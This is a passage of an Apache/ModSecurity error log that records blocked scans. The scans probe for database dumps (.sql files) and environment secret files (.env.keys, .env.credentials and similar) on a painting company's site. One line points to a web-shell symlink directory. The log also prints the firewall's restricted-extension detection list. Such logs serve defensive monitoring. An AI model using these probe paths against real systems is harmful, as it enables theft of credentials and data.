"at-hraFL9aMETz-8AU8c5gAAAAQ"]
[Mon Oct 26 14:53:33.995714 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "at-hraFL9aMETz-8AU8c5gAAAAQ"]
[Mon Oct 26 14:53:33.996511 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-hraFL9aMETz-8AU8c5gAAAAQ"]
[Mon Oct 26 14:53:35.820824 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at-hr6FL9aMETz-8AU8c5wAAAAQ"]
[Mon Oct 26 14:53:35.821334 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at-hr6FL9aMETz-8AU8c5wAAAAQ"]
[Mon Oct 26 14:53:35.822220 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-hr6FL9aMETz-8AU8c5wAAAAQ"]
[Mon Oct 26 14:53:38.725285 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 52.54.15.103:27732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:38.943396 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at-hsqFL9aMETz-8AU8c6AAAAAQ"]
[Mon Oct 26 14:53:38.943929 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at-hsqFL9aMETz-8AU8c6AAAAAQ"]
[Mon Oct 26 14:53:38.944769 2026] [security2:error] [pid 3083765:tid 3083765] [client 8.40.167.59:59054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-hsqFL9aMETz-8AU8c6AAAAAQ"]
[Mon Oct 26 14:53:42.901931 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.236.185.101:34196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:53:47.133701 2026] [core:error] [pid 3077536:tid 3077536] (13)Permission denied: [client 85.208.96.197:55748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/store_user
[Mon Oct 26 14:53:50.956093 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 18.204.152.114:58364] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:00.256780 2026] [security2:error] [pid 3052342:tid 3052342] [client 217.53.198.17:41852] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/debug_tlaxcala_1.html"] [unique_id "at-hyHNsi4cqo2ItOKeAcwAAAAM"], referer: https://parkeranders.com/
[Mon Oct 26 14:54:00.362290 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.214.124.6:26194] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:02.686862 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 52.71.218.25:62054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:06.689134 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 34.206.212.24:16155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:10.882268 2026] [ssl:error] [pid 3081138:tid 3081138] (70014)End of file found: [client 98.82.107.102:15861] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:14.716395 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 3.229.164.203:64260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:25.699620 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at-h4dBD9nokEg9_vmbN9AAAAAk"]
[Mon Oct 26 14:54:25.700152 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at-h4dBD9nokEg9_vmbN9AAAAAk"]
[Mon Oct 26 14:54:25.700425 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at-h4dBD9nokEg9_vmbN9AAAAAk"]
[Mon Oct 26 14:54:26.218468 2026] [authz_core:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/.htpasswd
[Mon Oct 26 14:54:26.697650 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:32828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at-h4nNsi4cqo2ItOKeAeQAAAAM"]
[Mon Oct 26 14:54:26.697813 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:32828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at-h4nNsi4cqo2ItOKeAeQAAAAM"]
[Mon Oct 26 14:54:26.698080 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:32828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at-h4nNsi4cqo2ItOKeAeQAAAAM"]
[Mon Oct 26 14:54:26.720034 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at-h4qFL9aMETz-8AU8c7QAAAAQ"]
[Mon Oct 26 14:54:26.720220 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at-h4qFL9aMETz-8AU8c7QAAAAQ"]
[Mon Oct 26 14:54:26.720443 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at-h4qFL9aMETz-8AU8c7QAAAAQ"]
[Mon Oct 26 14:54:26.721636 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at-h4qrAMmuTbk6594wUiwAAAAA"]
[Mon Oct 26 14:54:26.721809 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at-h4qrAMmuTbk6594wUiwAAAAA"]
[Mon Oct 26 14:54:26.722054 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at-h4qrAMmuTbk6594wUiwAAAAA"]
[Mon Oct 26 14:54:26.723065 2026] [security2:error] [pid 3081138:tid 3081138] [client 34.39.215.232:32876] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at-h4piRfclVa6z-M6tTtgAAAAo"]
[Mon Oct 26 14:54:26.723352 2026] [security2:error] [pid 3081138:tid 3081138] [client 34.39.215.232:32876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at-h4piRfclVa6z-M6tTtgAAAAo"]
[Mon Oct 26 14:54:26.723558 2026] [security2:error] [pid 3081138:tid 3081138] [client 34.39.215.232:32876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at-h4piRfclVa6z-M6tTtgAAAAo"]
[Mon Oct 26 14:54:26.736385 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at-h4mjM5XERzcmv0SW_mwAAAAs"]
[Mon Oct 26 14:54:26.736588 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at-h4mjM5XERzcmv0SW_mwAAAAs"]
[Mon Oct 26 14:54:26.736932 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at-h4mjM5XERzcmv0SW_mwAAAAs"]
[Mon Oct 26 14:54:26.766557 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at-h4mzmSpSsBytZ44hh_wAAAAg"]
[Mon Oct 26 14:54:26.766773 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at-h4mzmSpSsBytZ44hh_wAAAAg"]
[Mon Oct 26 14:54:26.767089 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at-h4mzmSpSsBytZ44hh_wAAAAg"]
[Mon Oct 26 14:54:26.849397 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at-h4iE-ZP4qhScpL9OPCAAAAAU"]
[Mon Oct 26 14:54:26.849565 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at-h4iE-ZP4qhScpL9OPCAAAAAU"]
[Mon Oct 26 14:54:26.849781 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at-h4iE-ZP4qhScpL9OPCAAAAAU"]
[Mon Oct 26 14:54:26.928843 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at-h4qrAMmuTbk6594wUjAAAAAA"]
[Mon Oct 26 14:54:26.929110 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at-h4qrAMmuTbk6594wUjAAAAAA"]
[Mon Oct 26 14:54:26.929340 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at-h4qrAMmuTbk6594wUjAAAAAA"]
